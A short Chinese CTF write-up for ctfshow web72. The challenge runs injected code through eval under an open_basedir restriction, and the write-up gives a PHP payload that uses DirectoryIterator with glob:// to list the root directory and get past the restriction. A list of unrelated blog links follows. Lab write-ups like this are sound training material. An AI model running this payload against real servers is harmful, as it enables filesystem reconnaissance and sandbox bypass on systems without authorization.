ctfshow web72

下载源码:

开启环境:

 本题设置了 open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。
因为 ini_set() 也被限制了,所以 open_basedir() 不能用 ini_set() 重新设置绕过。

使用 php 伪协议 glob://

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

不加前面 ?><?php 也是可以的。 eval() 里的语句可以视为在当前 php 文件里加了几条语句,这些语句必须是完整的,即必须以 “ ; ” 或者 “ ?> ” 结尾来结束语句,但是eval里的 “ ?> ” 不会闭合当前 php 文件。

相关推荐

  1. 面试经典150题(72-77)

    2024-01-30 06:08:04       55 阅读
  2. 商城数据库88章表72~75

    2024-01-30 06:08:04       35 阅读
  3. 【嵌入式开发】72

    2024-01-30 06:08:04       42 阅读
  4. day<span style='color:red;'>72</span>Html

    day72Html

    2024-01-30 06:08:04      50 阅读
  5. leetcode 72.编辑距离

    2024-01-30 06:08:04       47 阅读
  6. LeetCode //C - 72. Edit Distance

    2024-01-30 06:08:04       59 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-30 06:08:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-30 06:08:04       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-30 06:08:04       87 阅读
  4. Python语言-面向对象

    2024-01-30 06:08:04       96 阅读

热门阅读

  1. 并查集:1250. 格子游戏

    2024-01-30 06:08:04       55 阅读
  2. Jython调用openwire库连接activemq

    2024-01-30 06:08:04       55 阅读
  3. STL相关介绍及具体应用

    2024-01-30 06:08:04       39 阅读
  4. 网络相机 IPC 接入交换机的问题

    2024-01-30 06:08:04       56 阅读
  5. Open CASCADE学习| 提取曲面的PCurve

    2024-01-30 06:08:04       56 阅读
  6. Chrony工具强制NTP时间同步

    2024-01-30 06:08:04       61 阅读
  7. 深度学习任务

    2024-01-30 06:08:04       61 阅读
  8. 洛谷p1157组合的输出

    2024-01-30 06:08:04       46 阅读